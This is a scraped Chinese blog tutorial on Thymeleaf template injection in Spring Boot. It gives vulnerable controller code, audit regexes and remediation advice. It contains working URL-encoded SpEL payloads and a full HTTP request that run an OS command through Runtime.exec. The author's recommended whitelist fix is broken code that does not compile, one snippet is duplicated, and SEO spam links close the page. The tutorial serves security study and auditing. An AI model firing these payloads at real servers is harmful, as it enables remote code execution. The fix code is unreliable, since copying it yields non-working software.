当前位置: 首页 > news >正文

西安网站建设首选那家智能网站排名优化

西安网站建设首选那家,智能网站排名优化,网站背景视频是怎么做的,做网站属于什么学科一、日常编码中常见的两种漏洞场景 1.1 模板参数外部可控 RequestMapping("/path")public String path(RequestParam String lang) {return lang ;}实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。 1.2 使用GetMappin…

一、日常编码中常见的两种漏洞场景

1.1 模板参数外部可控

@RequestMapping("/path")public String path(@RequestParam String lang) {return lang ;}

实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。

1.2 使用@GetMapping注解 且没有return

根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。

当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析。

@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {logger.info("Retrieving " + document);}

tips:没有return 就是返回值为viod。

二 、如何构造payload

通过**${}**::.x构造表达式会由Thymeleaf去执行

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.xGET /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1659928725
Connection: close

payload构造

注意: 模板名称后存在拼接的payload必须以 ::.x结尾

package com.thymeleaf.jack.controller;import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;/*** Author:Jack @Date:2022.09.28*/// 通过__${}__::.x构造表达式会由Thymeleaf去执行
@Controller
public class demo {private static final Logger logger = LogManager.getLogger(demo.class);@RequestMapping("/index")public String getIndex(Model model) {model.addAttribute("name", "jack");return "index";}// 模板后存在拼接的payload必须以 ::.x结尾
//path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x@RequestMapping("/path")public String path(@RequestParam String lang) {return "user/" + lang + "/welcome";}// 根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。// 当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析
//poc:/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {logger.info("Retrieving " + document);}//poc 结尾可以去除 ::.x///fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__@GetMapping("/fragment")public String fragment(@RequestParam String section) {return "welcome :: " + section; //fragment is tainted}}<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head><meta charset="UTF-8"><title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${name}"></div>
</body>
</html>

三、 查找漏洞

黑盒:更换主题等页面打payload

场景1: 切换主题/背景 的功能区,将参数改为 payload。

白盒审计:

a.模板参数外部可控

这个很难写出真正意义上的漏洞匹配的正则

我在日常的代码审计过程中这样的

1 查看所有的模板文件名称 假设index.html开始

2 正则搜索控制器return.*?\".*?模板名称

return.*?\".*?index

image查看该接口中
index 参数,

是不是外部可控,

参数 中是否 不含有 HttpServlet,

rerun前面 是不是 没有重定向 redirect,

如果都是 那就存在此漏洞,

其实模板文件也不会很多 ,所以这样去白盒审计这个漏洞。

b.查找含参数@GetMapping路由 无return

先正则@GetMapping\(.*?\)\s*public\s+void/gm

image

注意 多行匹配加全局搜索 这样才不会遗漏,

image

四、漏洞修复

我个人推荐的修复方式

我个人任务应该白名单的修复方式。

@RequestMapping("/vulnpath")public String path(@RequestParam String lang) {return lang;}@RequestMapping("/safepath")public String path(@RequestParam int lang) {int num = request.getParemeter("lang");HashMap<Integer, String> tems = new HashMap<Integer, String>();tems.put(1, "red template");tems.put(2, "yellow template");tems.put(3, "green template");return tems.get(num)}

网上搜集的修复方式

我个人觉得不完美,安全不能影响业务需求呀,这样修复影响了功能使用。

1 使用注解@ResponseBody或者@RestController则不再调用模板解析
2 模板名称由redirect:或forward:开头(
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {return "redirect:" + url; //CWE-601, as we can control the hostname in redirect

不走ThymeleafView渲染即无法利用,

根据spring
boot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值。

3 参数中有HttpServletResponse,设置为HttpServletResponse,Spring认为它已经处理了HTTP

Response,因此不会发生视图名称解析。

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {log.info("Retrieving " + document);
}

Response,因此不会发生视图名称解析。

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {log.info("Retrieving " + document);
}

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

http://www.15wanjia.com/news/48647.html

相关文章:

  • 杭州电商网站建设seo全站优化全案例
  • 网站托管服务是什么友情链接怎么互换
  • 建站工具 ip网络推广深圳有效渠道
  • 网站上名片如何做怎么自己建立网站
  • 网站正在建设中mp4网络营销案例视频
  • 巩义自助建站优化关键词推广优化排名如何
  • 怎么做网站生意合肥网站排名推广
  • 公司网站备案是什么意思如何制作网站免费建站
  • 厦门市网站建设semester怎么读
  • 视频网站 界面设计安卓优化大师下载安装
  • 建设银行曲江支行网站网络营销与直播电商专业学什么
  • 西安制作网站公司百度问答我要提问
  • 什么渠道做网站建设网站推广是什么意思
  • 淮南seo杭州专业seo公司
  • 企业网站及信息化建设齐三seo顾问
  • 龙岗网站开发网站注册时间查询
  • 昆山网络公司南京百度seo代理
  • 谷歌seo的推广广州营销优化
  • 可以做网站AB测的软件成都seo达人
  • 手机网站建设的整体流程竞价托管外包费用
  • 学校网站建设代码一份完整的电商运营方案
  • 网站备案怎么这么麻烦百度新版本更新下载
  • 做视频网站服务器要求电商怎么做营销推广
  • 滨州正规网站建设公司培训网站有哪些
  • 手机怎么制作网址链接seo推广方案怎么做
  • 网站建设 美橙关键词排名查询官网
  • 刷网站排名软件windows优化大师是官方的吗
  • 艺美网站建设最新新闻摘抄
  • 商业网站建设案例笔记360手机助手
  • 网站一般用什么免费字体seo推广多少钱